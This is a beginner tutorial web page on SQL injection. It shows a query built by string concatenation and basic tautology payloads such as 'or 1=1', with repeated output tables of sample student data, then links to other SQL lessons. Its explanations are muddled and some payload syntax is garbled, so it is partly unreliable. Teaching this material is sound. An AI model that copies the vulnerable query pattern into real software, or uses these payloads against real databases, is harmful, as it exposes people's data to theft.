×

SQL Injection

SQL injection is a technique, this may destroy the database. It is one type of hacking technique.

SQL IN WEB PAGES:

Injection occurs when we ask for input like an id or username, this will run the database automatically.

 Example:

Student Table:

sidsnamesagesgenderPhonenumber
1Abhinav22Male9895678909
2Ramya24Female6687654634
3Preetham21Male9867546453
4Nethranand21Male7675643423
5Naveen23Male6567784532
6Harshita22Female9867546231
7Bindu26Female6563412768
8Nandhini23Female6785674839
9Hashish22Male9453215052
10Rahul21Male9998989898

Code:

Code: id = getRequestString(“sid”);
 tsql = “select * from Student where sid = ”+id;

 SQL injection based on condition 1=1 is True:

If the user can type instead of wrong inputs i.e, user id or user password the user can use his knowledge in a smart way tto get outputs.

Code:

Select * from Student where id = 105 or 1=1

Output:

sidsnamesagesgenderPhonenumber
1Abhinav22Male9895678909
2Ramya24Female6687654634
3Preetham21Male9867546453
4Nethranand21Male7675643423
5Naveen23Male6567784532
6Harshita22Female9867546231
7Bindu26Female6563412768
8Nandhini23Female6785674839
9Hashish22Male9453215052
10Rahul21Male9998989898

Note: This above code instead of entering wrong inputs by entering 1 = 1, then returns the details of above mention table. i.e, Student. Displaying the student details of the student by using 1=1 condition.

Displaying the sid, sname of student table.

Code:

Select sid,sname from Student where id = 105 or 1=1

Output:

Student Table:

sidsname
1Abhinav
2Ramya
3Preetham
4Nethranand
5Naveen
6Harshita
7Bindu
8Nandhini
9Hashish
10Rahul

Note: This above code instead of entering wrong inputs by entering 1 = 1, then returns the details of above mention table. i.e, Student. Displaying the sid, sname of the student by using 1=1 condition.

Displaying the  sname, sage of student table.

Code:

Select sname, sage from Student where id = 105 or 1=1;

Output:

snamesage
Abhinav22
Ramya24
Preetham21
Nethranand21
Naveen23
Harshita22
Bindu26
Nandhini23
Hashish22
Rahul21

Displaying the sname, Phonenumber of the student by using 1=1 condition.

Code:

 Select sname, Phonenumber from Student where id = 105 or 1=1;

Output:

Student Table:

snamePhonenumber
Abhinav9895678909
Ramya6687654634
Preetham9867546453
Nethranand7675643423
Naveen6567784532
Harshita9867546231
Bindu6563412768
Nandhini6785674839
Hashish9453215052
Rahul9998989898

Displaying the sname, sgender of the student by using 1=1 condition.

Code:

Select sname, sgender from Student where id = 105 or 1=1;

 Output:

Student Table:

snamesgender
AbhinavMale
RamyaFemale
PreethamMale
NethranandMale
NaveenMale
HarshitaFemale
BinduFemale
NandhiniFemale
HashishMale
RahulMale

 Displaying the sname, sage, sgender, Phonenumber of the student by using 1=1 condition.

Code:

 Select sname, sage, sgender, Phonenumber from Student where id = 105 or 1=1;

Output:

Student Table:

snamesagesgenderPhonenumber
Abhinav22Male9895678909
Ramya24Female6687654634
Preetham21Male9867546453
Nethranand21Male7675643423
Naveen23Male6567784532
Harshita22Female9867546231
Bindu26Female6563412768
Nandhini23Female6785674839
Hashish22Male9453215052
Rahul21Male9998989898

Injection based on “=” is always true:

If the user can type instead of wrong inputs i.e, user id or user password the user can use his knowledge in a smart way by typing “or” “=”. Id = “or” “=”

Syntax :

Select * from table_name where id = “or” “=”;

 Example:

Displaying all the details of student.

Code:

 Select * from Student where id = “or” “=”;

Output:

Student Table:

sidsnamesagesgenderPhonenumber
1Abhinav22Male9895678909
2Ramya24Female6687654634
3Preetham21Male9867546453
4Nethranand21Male7675643423
5Naveen23Male6567784532
6Harshita22Female9867546231
7Bindu26Female6563412768
8Nandhini23Female6785674839
9Hashish22Male9453215052
10Rahul21Male9998989898

Note: This above code instead of entering wrong inputs by entering “or” “=”, then returns the details of above mention table. i.e, Student. Displaying the sid, sname of the student by using “=” condition.

Displaying the sid, sname of student table with “or” “=”

Code:

 Select sid, sname from Student where id = “or” “=”;

Output:

Student Table:

sidsname
1Abhinav
2Ramya
3Preetham
4Nethranand
5Naveen
6Harshita
7Bindu
8Nandhini
9Hashish
10Rahul

Displaying the sname, sage of the student by using ‘=’ condition.

Code:

Select sname, sage from Student where id = “or” “=”;

Output:

snamesage
Abhinav22
Ramya24
Preetham21
Nethranand21
Naveen23
Harshita22
Bindu26
Nandhini23
Hashish22
Rahul21

 Displaying the sname, Phonenumber of the student by using ‘=’ condition. Code:

Select sname, Phonenumber from Student where id = “or” “=”;

Output:

Student Table:

snamePhonenumber
Abhinav9895678909
Ramya6687654634
Preetham9867546453
Nethranand7675643423
Naveen6567784532
Harshita9867546231
Bindu6563412768
Nandhini6785674839
Hashish9453215052
Rahul9998989898

 Displaying the sname, sgender of the student by using ‘=’ condition.

 Code:

 Select sname, sgender from Student where id = “or” “=”;

Output:

Student Table:

snamesgender
AbhinavMale
RamyaFemale
PreethamMale
NethranandMale
NaveenMale
HarshitaFemale
BinduFemale
NandhiniFemale
HashishMale
RahulMale

Displaying the sname, sage, sgender, Phonenumber of the student by using ‘=’ condition.

Code:

Select sname, sage, sgender, Phonenumber from Student where id = “or” “=”; Output:

Student Table:

snamesagesgenderPhonenumber
Abhinav22Male9895678909
Ramya24Female6687654634
Preetham21Male9867546453
Nethranand21Male7675643423
Naveen23Male6567784532
Harshita22Female9867546231
Bindu26Female6563412768
Nandhini23Female6785674839
Hashish22Male9453215052
Rahul21Male9998989898

Related Topics

SQL Select Distinct

The SQL DISTINCT query is used to fetch unique values from the tables using the SELECT statement in the SQL. There may be a situation that arises when you want to...

4 minutes read.

SQL DROP Table

In this tutorial, we will help you to understand how to delete the table from the database in SQL with the help of examples. The DROP TABLE query is used to...

4 minutes read.

SQL Data Manipulation Language

Data Manipulation Language manipulates/make changes in data present in a table. It only affects data/records of table, not on the schema/structure of table. INSERT, UPDATE, DELETE are the commands of DML. INSERT: Stores...

2 minutes read.

SQL FOREIGN KEY

In this article, we will learn about the FOREIGN KEY constraints and how to define a FOREIGN KEY constraint to build the relationship between two tables. In a Relational Databases Management...

4 minutes read.

SQL FULL JOIN

In this section, we will help you understand the concept of the SQL FULL Join clause with a few examples. The SQL FULL Join query is executed to display the integrated...

3 minutes read.

SQL Cloning Tables

Cloning a Table: To create a copy of the table. To perform the operations, without affecting the actual table. Steps for creating a Cloning Table: Step 1: Empty Table Creation The syntax for Creating...

3 minutes read.

How to use INNER JOIN in SQL

In this article, we will learn about the INNER JOIN concept and how to use it in SQL with the WHERE clause. What is INNER JOIN in SQL? Inner Join is a...

6 minutes read.

Drop vs Truncate in SQL

In this article, we will learn and understand the Drop and Truncate commands and the difference between these two commands. What is Drop Command? Drop is a Data Definition Language command in...

6 minutes read.

SQL Right Join

The SQL Right Join query displays all the table records and similar records from the left table. The query display zero records if it doesn’t find any similar records. If...

4 minutes read.

SQL Handling Duplicate

Removing Duplicates using DISTINCT Keyword: By using the DISTINCT keyword in SQL we can remove duplicate characters from tables or databases. A table contains more duplicate values and duplicate values can cause...

4 minutes read.

How to Create Temporary Table in SQL?

How to Create Temporary Table in SQL  Introduction to Temporary Tables Temporary table is a table which is used to store temporary data that can be used further in the same client...

3 minutes read.

How to Update Table in SQL?

How to Update Table in SQL Introduction UPDATE query is used to update a record in a table. UPDATE is a DML command, which operates on the data of the table and not...

4 minutes read.

Pattern Matching in SQL

The LIKE in the Structured Query Language is a Logical Operator. The SQL LIKE is used within the WHERE clause in the SQL. This Like Operator is used with the...

5 minutes read.

SQL Between Operator

SQL Between operator is a logical operator in the Structured Query Language. The Between operator is used to retrieve data within the range specified in the condition in the query. The...

7 minutes read.

SQL INSERT INTO SELECT

In this tutorial, we will help you to understand and learn how to copy records from one table and add them to another table in the SQL with the help...

5 minutes read.

SQL INSERT Statement

In this tutorial, we will help you to understand and learn how to insert records to the table in SQL with the help of examples. SQL INSERT query is used to...

5 minutes read.

SQL NOT Operator

SQL NOT is a Boolean operator used with the WHERE clause. NOT operator shows the records if the expression is false. When we use the NOT operator, we fetch only...

7 minutes read.

SQL Comparision Operator

The Comparison Operator compares different data of the Structured Query Language table and checks whether the data are the same, less than, greater than, less than, or greater than equal....

14 minutes read.

Codd’s Rules in SQL

Codd’s Rules Dr. Edgar F. Codd, in 1985, laid down 13 fundamental rules after doing large-scale research on the Relational Model of databases. According to him, every database must follow these...

3 minutes read.

SQL SELECT OR Operator

This SQL tutorial explains and helps us understand how to use the OR operator in the SELECT query with examples. The OR operator in the Structured Query Language is used to...

3 minutes read.